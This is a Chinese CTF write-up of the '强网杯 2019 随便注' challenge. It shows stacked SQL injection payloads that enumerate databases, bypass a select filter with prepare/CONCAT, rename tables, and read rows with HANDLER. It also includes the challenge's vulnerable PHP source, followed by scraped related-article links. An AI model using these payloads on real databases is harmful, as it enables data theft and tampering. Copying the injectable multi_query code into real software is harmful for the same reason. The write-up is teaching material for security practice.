本题主要考察堆叠注入，算是比较经典的一道题，在i春秋GYCTF中也出现了本题的升级版

猜测这里的MySQL语句结构应该是：

select * from words where id='$inject';

构造Payload：用单引号+分号闭合前面的语句，插入SQL语句，再用注释符注释掉后面的语句即可

先列出所有数据库：

1';show databases;#

得到：

array(1) {

  [0]=>

  string(11) "ctftraining"

}

array(1) {

  [0]=>

  string(18) "information_schema"

}

array(1) {

  [0]=>

  string(5) "mysql"

}

array(1) {

  [0]=>

  string(18) "performance_schema"

}

array(1) {

  [0]=>

  string(9) "supersqli"

}

array(1) {

  [0]=>

  string(4) "test"

}

选择数据库：

1';use supersqli;#

查询supersqli库中的所有表：

1';show tables;#

得到：

array(1) {

  [0]=>

  string(16) "1919810931114514"

}

array(1) {

  [0]=>

  string(5) "words"

}

查询1919810931114514表中的字段（这里需要注意的是，如果表名是纯数字需要用反引号包裹，不然不会出现回显）：

1';show columns from `1919810931114514`;#

得到：

array(6) {

  [0]=>

  string(4) "flag"

  [1]=>

  string(12) "varchar(100)"

  [2]=>

  string(2) "NO"

  [3]=>

  string(0) ""

  [4]=>

  NULL

  [5]=>

  string(0) ""

}

以上是正常的步骤，但是准备用select查询flag时发现了过滤，过滤掉了select、update、delete、drop、insert、where：

下面开始讲解获取flag的三种方法：

1.储存过程绕过(利用prepare语句):

1';

set @a = CONCAT('se','lect * from `1919810931114514`;');  //字符串拼接绕过select过滤

prepare flag from @a;

EXECUTE flag;#

关于这种绕过方式可以参考: PDO场景下的SQL注入探究

 2.重命名绕过(利用alter语句与rename语句):

1';

alter table words rename to words1;

alter table `1919810931114514` rename to words;

alter table words change flag id varchar(50);#

执行完上述请求再请求1’ or 1=1#即可获得Flag

参考：http://www.saucer-man.com/information_security/302.html

3.handler语句代替select查询:

这个方法在i春秋GYCTF中本题的升级版（多过滤了prepare、set、rename，显然前两种方法都不适用）中亮相

1';handler `1919810931114514` open as ye;  //同样的，这里的表名因为是纯数字所以需要用反引号包裹

handler ye read first;

handler ye close;#  //注意：这里必须close handler才可以获取Flag

这里附上handler的用法：

HANDLER tbl_name OPEN [ [AS] alias]

HANDLER tbl_name READ index_name { = | <= | >= | < | > } (value1,value2,...)

    [ WHERE where_condition ] [LIMIT ... ]

HANDLER tbl_name READ index_name { FIRST | NEXT | PREV | LAST }

    [ WHERE where_condition ] [LIMIT ... ]

HANDLER tbl_name READ { FIRST | NEXT }

    [ WHERE where_condition ] [LIMIT ... ]

HANDLER tbl_name CLOSE

e.g: 通过handler语句查询users表的内容:

handler users open as yunensec; #指定数据表进行载入并将返回句柄重命名

handler yunensec read first; #读取指定表/句柄的首行数据

handler yunensec read next; #读取指定表/句柄的下一行数据

handler yunensec read next; #读取指定表/句柄的下一行数据

...

handler yunensec close; #关闭句柄

做完题之后分析一下源码：

<html>

<head>

    <meta charset="UTF-8">

    <title>easy_sql</title>

</head>

<body>

<h1>取材于某次真实环境渗透，只说一句话：开发和安全缺一不可</h1>

<!-- sqlmap是没有灵魂的 -->

<form method="get">

    姿势: <input type="text" name="inject" value="1">

    <input type="submit">

</form>

<pre>

<?php

function waf1($inject) {

    preg_match("/select|update|delete|drop|insert|where|\./i",$inject) && die('return preg_match("/select|update|delete|drop|insert|where|\./i",$inject);');

}

function waf2($inject) {

    strstr($inject, "set") && strstr($inject, "prepare") && die('strstr($inject, "set") && strstr($inject, "prepare")');

}

if(isset($_GET['inject'])) {

    $id = $_GET['inject'];

    waf1($id);

    waf2($id);

    $mysqli = new mysqli("127.0.0.1","root","root","supersqli");

    $sql = "select * from `words` where id = '$id';";

    $res = $mysqli->multi_query($sql);

    if ($res){

      do{

        if ($rs = $mysqli->store_result()){

          while ($row = $rs->fetch_row()){

            var_dump($row);

            echo "<br>";

          }

          $rs->Close();

          if ($mysqli->more_results()){

            echo "<hr>";

          }

        }

      }while($mysqli->next_result());

    } else {

      echo "error ".$mysqli->errno." : ".$mysqli->error;

    }

    $mysqli->close();

}

?>

</pre>

</body>

</html>

堆叠注入的成因在这里：

$res = $mysqli->multi_query($sql);

这里的multi_query()可以执行一条或多条sql语句，从而导致了堆叠注入的产生。

[BUUOJ记录] [强网杯 2019]随便注（三种方法）的更多相关文章

  1. buuctf | [强网杯 2019]随便注

    1' and '0,1' and '1  : 单引号闭合 1' order by 3--+ : 猜字段 1' union select 1,database()# :开始注入,发现正则过滤 1' an ...

  2. 强网杯 2019]随便注(堆叠注入，Prepare、execute、deallocate)

    然后就是今天学的新东西了,堆叠注入. 1';show databases; # 1';show tables; # 发现两个表1919810931114514.words 依次查询两张表的字段 1'; ...

  3. BUUCTF[强网杯 2019]随便注(堆叠注入)

    记一道堆叠注入的题.也是刷BUU的第一道题. ?inject=1' 报错 ?inject=1'--+ //正常 存在注入的.正常查询字段数,字段数为2.在联合查询的时候给了新提示 ?inject=0' ...

  4. 刷题记录：[强网杯 2019]Upload

    目录 刷题记录:[强网杯 2019]Upload 一.知识点 1.源码泄露 2.php反序列化 刷题记录:[强网杯 2019]Upload 题目复现链接:https://buuoj.cn/challe ...

  5. 【SQL】Oracle分页查询的三种方法

    [SQL]Oracle分页查询的三种方法 采用伪列 rownum 查询前10条记录 ? 1 2 3 4 5 6 7 8 9 10 11 [sql] select * from t_user t whe ...

  6. Spring使用jdbcJdbcTemplate和三种方法配置数据源

    三种方法配置数据源 1.需要引入jar包:spring-jdbc-4.3.2.RELEASE.jar <!-- spring内置,springJdbc,配置数据源 --> <bean ...

  7. 【EF】EntityFramework 更新数据库字段的三种方法

    实体类 public class TestDbContext : DbContext { public DbSet<Test> Tests { get; set; } public Tes ...

  8. EntityFramework 更新数据库字段的三种方法

    例: 实体类: public class TestDbContext : DbContext { public DbSet<Test> Tests { get; set; } public ...

  9. c#封装DBHelper类 c# 图片加水印 (摘)C#生成随机数的三种方法 使用LINQ、Lambda 表达式 、委托快速比较两个集合，找出需要新增、修改、删除的对象 c# 制作正方形图片 JavaScript 事件循环及异步原理（完全指北）

    c#封装DBHelper类   public enum EffentNextType { /// <summary> /// 对其他语句无任何影响 /// </summary> ...

随机推荐

  1. SqlServer 多表连接、聚合函数、模糊查询、分组查询应用总结（回归基础）

    --exists 结合 if else 以及 where 条件来使用判断是否有数据满足条件 select * from Class where Name like '%[1-3]班' if (not ...

  2. 有用的20个Python代码段

    Python是一种非BS编程语言.设计简单和易读性是它广受欢迎的两大原因.正如Python的宗旨:美丽胜于丑陋,显式胜于隐式. 记住一些帮助提高编码设计的常用小诀窍是有用的.在必要时刻,这些小诀窍能够 ...

  3. IndexFlatL2、IndexIVFFlat、IndexIVFPQ三种索引方式示例

    上文针对Faiss安装和一些原理做了简单说明,本文针对标题所列三种索引方式进行编码验证. 首先生成数据集,这里采用100万条数据,每条50维,生成数据做本地化保存,代码如下: import numpy ...

  4. java 多态二

    一 多态-转型 多态的转型分为向上转型与向下转型两种: 向上转型:当有子类对象赋值给一个父类引用时,便是向上转型,多态本身就是向上转型的过程. 使用格式: 父类类型  变量名 = new 子类类型() ...

  5. C#LeetCode刷题之#205-同构字符串（Isomorphic Strings）

    问题 该文章的最新版本已迁移至个人博客[比特飞],单击链接 https://www.byteflying.com/archives/3770 访问. 给定两个字符串 s 和 t,判断它们是否是同构的. ...

  6. Vue 使用mixin抽取共通方法

    引入原因: 当一段逻辑在不同的地方使用时 step-1: 定义mixin文件,methods里有一个handleToLink方法 /** * this mixin file will be used ...

  7. python处理转载博客html

    前景 在转载别人博客的时候通常我们会通过复制html然后放到编辑器里面, 但是通常html里有很多杂七杂八的东西, 比如script, svg这些标签导致排版出现问题 例如由lu标签引起的 由svg标 ...

  8. troubleshoot之:使用JFR解决内存泄露

    目录 简介 一个内存泄露的例子 使用JFR和JMC来分析内存泄露 OldObjectSample 总结 简介 虽然java有自动化的GC,但是还会有内存泄露的情况.当然java中的内存泄露跟C++中的 ...

  9. 19c新环境安装补丁(三)_推荐

    本次安装Oracle RAC 19.3 版本 Linux red-hat 7.8  DB安装补丁  RUR 20200717. 本次安装Oracle补丁的方法类似于11G RAC打补丁的方法.  [可 ...

  10. 调试备忘录-nRF24L01P的使用（教程 + 源码）

    目录--点击可快速直达 MCU:KEAZ64A MDK:CodeWarrior 11.0 目录 写在前面 什么是nRF24L01P? nRF24L01P模块的简单介绍 nRF24L01P的工作模式 n ...